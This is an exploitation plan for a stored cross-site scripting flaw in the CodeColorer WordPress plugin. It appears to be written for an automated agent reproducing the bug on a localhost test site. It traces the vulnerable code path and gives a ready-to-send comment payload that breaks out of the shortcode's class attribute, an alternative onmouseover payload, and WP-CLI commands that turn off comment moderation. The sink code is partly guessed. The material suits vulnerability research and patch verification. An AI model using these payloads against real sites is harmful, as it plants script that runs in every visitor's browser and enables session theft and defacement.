Exploitation Research Plan: CVE-2026-4032 (CodeColorer Stored XSS)

1. Vulnerability Summary

The CodeColorer plugin (<= 0.10.1) is vulnerable to unauthenticated stored cross-site scripting (XSS). The vulnerability exists because the plugin allows users to provide a class attribute within the [cc] shortcode used in comments. This attribute is parsed and later rendered into the HTML output without being properly sanitized or escaped (e.g., via esc_attr()). An attacker can use this to break out of the class attribute of the wrapper div and inject arbitrary JavaScript.

2. Attack Vector Analysis

• Endpoint: wp-comments-post.php (Standard WordPress comment submission).
• Vulnerable Parameter: The class attribute inside the [cc] shortcode within the comment POST parameter.
• Authentication Level: Unauthenticated (requires guest comments to be enabled).
• Preconditions:
  • Comments must be enabled on the target post (default_comment_status = open).
  • Guest comments must be allowed (comment_registration = 0).
  • Comment moderation should ideally be disabled for immediate execution (comment_moderation = 0).

3. Code Flow

1. Entry Point (Filter Registration): In codecolorer.php, CodeColorerLoader::enable() registers filters for comment content:
   • pre_comment_content: callBeforeProtectComment (priority -1000) and callAfterProtectComment (priority 1000). These wrap the shortcode in placeholders to prevent WordPress's standard sanitizer from mangling the code.
   • comment_text: callBeforeHighlightCodeBlock (priority -1000).
2. Shortcode Parsing: When a post with comments is viewed, comment_text filters fire. CodeColorer::beforeHighlightCodeBlock() (in codecolorer-core.php) uses a regex to find [cc] tags:
   '#(\s*)\[cc([^\s\]_]*(?:_[^\s\]]*)?)([^\]]*)\](.*?)\[/cc\2\](\s*)#si'.
3. Attribute Extraction: The attributes (matches[3]) are passed to CodeColorerOptions::parseOptions($opts, $suffix) in codecolorer-options.php. This function uses a regex to extract key-value pairs:
   preg_match_all('#([a-z_-]*?)\s*=\s*(["\'])(.*?)\2#i', $opts, $matches, PREG_SET_ORDER);
   An attribute like class='"><script>alert(1)</script>' results in $options['class'] containing "><script>alert(1)</script>.
4. Sink (HTML Generation): performHighlightCodeBlock() calls $this->addContainer($result, $options, $numLines).
5. Vulnerable Output: Inside addContainer (located in the truncated part of codecolorer-core.php), the code likely concatenates $options['class'] into a div wrapper:

   $html = '<div class="codecolorer-container ' . $options['class'] . '" ...>';
   

   Since $options['class'] is not escaped, the payload breaks out of the attribute.

4. Nonce Acquisition Strategy

This vulnerability does not require a nonce because it exploits the standard guest comment submission flow. WordPress core allows unauthenticated comment submission to wp-comments-post.php without a nonce to support users who do not have cookies enabled.

5. Exploitation Strategy

The goal is to submit a comment containing a malicious [cc] shortcode.

Step-by-Step Plan:

1. Identify Target: Find a post that accepts comments (usually Post ID 1).
2. Submit Comment: Send a POST request to wp-comments-post.php.
   • URL: http://localhost:8080/wp-comments-post.php
   • Headers: Content-Type: application/x-www-form-urlencoded
   • Body Parameters:
     • author: Security Researcher
     • email: researcher@example.com
     • comment: Check this code: [cc class='"><script>alert(window.origin)</script>']echo "hello";[/cc]
     • submit: Post Comment
     • comment_post_ID: 1 (or target ID)
     • comment_parent: 0
3. Trigger XSS: Navigate to the post page (e.g., http://localhost:8080/?p=1) where the comment is displayed.

6. Test Data Setup

Use WP-CLI to ensure the environment allows guest comments and immediate publication:

# Enable comments and guest posting
wp option update default_comment_status open
wp option update comment_registration 0

# Disable comment moderation for instant testing
wp option update comment_moderation 0
wp option update comment_whitelist 0

# Ensure a post exists
wp post create --post_type=post --post_status=publish --post_title='XSS Test Page' --post_content='Please comment below.'

7. Expected Results

• The comment will be successfully stored in the database.
• When viewing the post, the HTML source will contain something like:
  <div class="codecolorer-container "><script>alert(window.origin)</script>" ...>
• The browser will execute the injected script, triggering an alert showing the origin.

8. Verification Steps

After performing the HTTP request, verify the storage and execution:

1. Database Check:
   wp comment list --field=comment_content
   Confirm the [cc class=...] shortcode is present in the latest comment.
2. DOM Verification:
   Use browser_navigate to the post and browser_eval to check if the payload was rendered:
   browser_eval("document.querySelector('div.codecolorer-container') ? true : false")
   Check for the presence of the injected script tag.

9. Alternative Approaches

If class is filtered (unlikely given the version and patch), try injecting into other parameters parsed by parseOptions that might be reflected in attributes, such as:

• width
• height
• theme

Example: [cc width='100%" onmouseover="alert(1)"']code[/cc] (if width is used in a style or attribute).
However, the class attribute is the most direct and confirmed vector.